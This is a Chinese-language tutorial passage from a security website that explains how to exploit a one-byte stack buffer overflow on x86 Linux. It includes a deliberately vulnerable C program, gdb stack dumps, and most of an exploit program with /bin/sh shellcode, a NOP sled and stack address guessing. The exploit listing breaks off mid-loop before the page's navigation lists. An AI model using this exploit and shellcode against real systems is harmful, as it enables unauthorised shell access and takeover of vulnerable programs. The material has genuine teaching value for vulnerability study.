正如你所看到的,有关单字节缓冲区溢出问题确实存在及可利用,但是有没有一种好的方法,例如说猜测地址来实现呢?答案当然是肯定的。想一想,当发生单字节溢出的时候,%ebp被我们覆盖,如果我们将buffer填满跳转地址,其中跳转地址指向我们的shellcode,它可以放在argv[]或者是环境变量中,那么,当两次ret后,从堆栈中弹出来的地址就会跳到我们的shellcode。如下图:
栈顶(低地址) 栈顶(低地址)
|----------|-+ |----------|
| 跳转地址 | | | ...... |-+
|----------| | |----------| |
| 跳转地址 | | | ...... | |
|----------| | |----------| |
+->| ...... | | | ...... | |
| |----------| | |----------| |
| | ...... | |------------->| ...... | |
| |----------| | |----------| |==>shellcode
| | ...... | | | ...... | |
| |----------| | |----------| |
| | 跳转地址 | | | ...... | |
| |----------| | |----------| |
| | 跳转地址 | | | ...... | |
| |----------|-+ |----------| |
+--|保存的%ebp|<-1字节被覆盖 | ...... | |
|----------| |----------| |
|保存的%eip| | ...... |-+
|----------| |----------|
栈底(低地址) 栈底(低地址)
在这种情况下,我们实际上仍然要提供两个offset给exploit,一个覆盖%ebp的偏移,一个shellcode地址偏移。但是我们还是有一种方法,即用一个特别的字节来覆盖%ebp的最后一个字节,是%ebp总在buffer里,这样,最后需要猜测的只剩下shellcode地址,与普通的缓冲区溢出一样了。
我们同样来分析warning3的《单字节缓冲区溢出》中的漏洞程序:
#include<stdio.h>
vul(char *p){
char buf[255];
int i;
for(i=0;i<=256;i++){
buf[i]=p[i];
}
}
int main(int argc,char **argv){
if(argc>1) vul(argv[1]);
}
[laolang@localhost teach]$ gcc only.c -o only
[laolang@localhost teach]$ ./only `perl -e 'print "a"x256'`
Segmentation fault (core dumped)
[laolang@localhost teach]$ gdb -q only -c core
Core was generated by `./only aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x61616161 in ?? ()
(gdb)
看,发生溢出了。此时堆栈如下图所示:
栈顶(低地址)
|----------|
|0x61616161|
|----------|
|0x61616161|
|----------|
+->| ...... | <--- 由于执行无效指令,导致core dump
| |----------|
| | ...... |
| |----------|
| | ...... |
| |----------|
| |0x61616161|
| |----------|
| |0x61616161|
| |----------|
+--|保存的%ebp|<--- 1字节被(0x61)覆盖
|----------|
|保存的%eip|
|----------|
栈底(低地址) 栈底(低地址)
溢出的关键还在溢出的那一个字节。在这种条件下,只有计算buffer地址和猜测buffer地址两种方法,前者很麻烦,而且对于远程溢出无能为力,所以,我们来研究第二种方法。
为了提高成功率,我们溢出的一个字节的数据应该填一个很小的数字,特别是当buffer长度大于或等于256个字节的时候,不管buffer的地址是多少,总会准确的弹出跳转地址做为%eip,这样实际上只用猜测shellcode的地址,与普通的缓冲区溢出一样了。堆栈如下图所示:
溢出前堆栈情况:
(gdb) x/16 $esp
0xbffff82c: 0xbffff84c 0x08048441 0xbffffa18 0xbffff858
0xbffff83c: 0x4005be78 0x4014cacc 0x4000b1b0 0xbffff868
0xbffff84c: 0xbffff888 0x40048486 0x00000002 0xbffff8b4
0xbffff85c: 0xbffff8c0 0x08048490 0x00000000 0xbffff888
溢出后堆栈情况:
(gdb) x/100 $esp
0xbffff714: 0x4014cacc 0x00000000 0x4003f658 0x00000000
0xbffff724: 0x40008395 0x00000101 0x61616161 0x61616161
0xbffff734: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff744: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff754: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff764: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff774: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff784: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff794: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7a4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7b4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7c4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7d4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7e4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff7f4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff804: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff814: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff824: 0x61616161 0x61616161 0xbffff800 <---- 看,最后一个字节被覆盖
……
(gdb)
此时:
栈顶(低地址)
|----------|
|0x61616161|
|----------|
|0x61616161|
|----------|
+->| ...... | <--- 由于执行无效指令,导致core dump
| |----------|
| | ...... |
| |----------|
| | ...... |
| |----------|
| |0x61616161|
| |----------|
| |0x61616161|
| |----------|
+--|保存的%ebp|<--- 1字节被(0x00)覆盖
|----------|
|保存的%eip|
|----------|
栈底(低地址) 栈底(低地址)
只要被覆盖的字节足够小,最终都会执行到我们的shellcode。以下是exploit:
[mrj@localhost test]$ cat exp_only_2.c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define NOP 0x90
#define BUFF 2048 //缓冲区大小
#define BIT 16 //覆盖字节
#define POINT 256 //溢出点
#define OFFSET 500 //偏移
unsigned long get_esp(void){
__asm__("movl %esp,%eax");
}
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc,char **argv){
char *buf;
int addr=get_esp(),bsize=BUFF+POINT,offset=OFFSET,bit=BIT;
int i,j;
if(!(buf=malloc(bsize))){
printf("No enough memory!\n");
exit(1);
}
if(argc>1) bit=atoi(argv[1]);
if(argc>2) offset=atoi(argv[2]);
addr-=offset;
for(i=0;i<POINT;i+=4){
buf[i]=(addr&0x000000ff);
buf[i+1]=(addr&0x0000ff00)>>8;
buf[i+2]=(addr&0x00ff0000)>>16;
buf[i+3]=(addr&0xff000000)>>24;
}
buf[i++]=bit;
for(i=i;i<bsize-POINT-strlen(shellcode)-2;i++)
buf[i]=NOP;
for(i=i,j=0进入讨论组讨论。
相关图文阅读
频道图文推荐
健 康 咨 询
时 尚 咨 询
相关专题
·教你一招:子网掩码的快速算法 (8798次浏览)
·终极PK 瑞星2008体验版火拼卡巴斯基7.0 (1235次浏览)
·实现在小型局域网中用W2k共享上网 (1204次浏览)
·注册表编辑器及注册表脚本被禁用后的解决办 (628次浏览)
·卡巴斯基几种比较实用的使用方法 (525次浏览)
·让宽带上的更稳定ADSL断流问题原因分析 (503次浏览)
·360安全卫士新版发布 增加ARP防火墙 (495次浏览)
·Windows XP的默认设置需要注意的安全问题 (479次浏览)
·MD5加密算法说明 (478次浏览)
·15实用的免费安全软件大搜罗 (418次浏览)
·终极PK 瑞星2008体验版火拼卡巴斯基7.0 (1235次浏览)
·实现在小型局域网中用W2k共享上网 (1204次浏览)
·注册表编辑器及注册表脚本被禁用后的解决办 (628次浏览)
·卡巴斯基几种比较实用的使用方法 (525次浏览)
·让宽带上的更稳定ADSL断流问题原因分析 (503次浏览)
·360安全卫士新版发布 增加ARP防火墙 (495次浏览)
·Windows XP的默认设置需要注意的安全问题 (479次浏览)
·MD5加密算法说明 (478次浏览)
·15实用的免费安全软件大搜罗 (418次浏览)
·中国杀毒网被疑遭黑 植入木马再变园林网 10-28
·银行信息受木马威胁 国产杀毒软件已有良方 10-28
·手机病毒伪装杀毒软件 Symbian用户遭威胁 10-28
·病毒嫁祸杀毒软件 伪造杀毒软件误杀假象 10-28
·数据库系统防黑客入侵技术综述 10-28
·杀毒软件和防火墙都成了黑客的帮凶 10-28
·谨防黑客通过端口扫描进行攻击 10-28
·安铁诺防病毒软件2008使用说明 10-27
·轻巧易用 Sophos简体中文版详细评测 10-25
·病毒也玩即时升级更新 正面挑战杀毒软件 10-24
·银行信息受木马威胁 国产杀毒软件已有良方 10-28
·手机病毒伪装杀毒软件 Symbian用户遭威胁 10-28
·病毒嫁祸杀毒软件 伪造杀毒软件误杀假象 10-28
·数据库系统防黑客入侵技术综述 10-28
·杀毒软件和防火墙都成了黑客的帮凶 10-28
·谨防黑客通过端口扫描进行攻击 10-28
·安铁诺防病毒软件2008使用说明 10-27
·轻巧易用 Sophos简体中文版详细评测 10-25
·病毒也玩即时升级更新 正面挑战杀毒软件 10-24
最新论坛文章
站内各频道最新更新文档
站内最新制作专题
热门关键字导读
站内频道文章精选
百度推荐,商机无限
搜索您感兴趣的内容



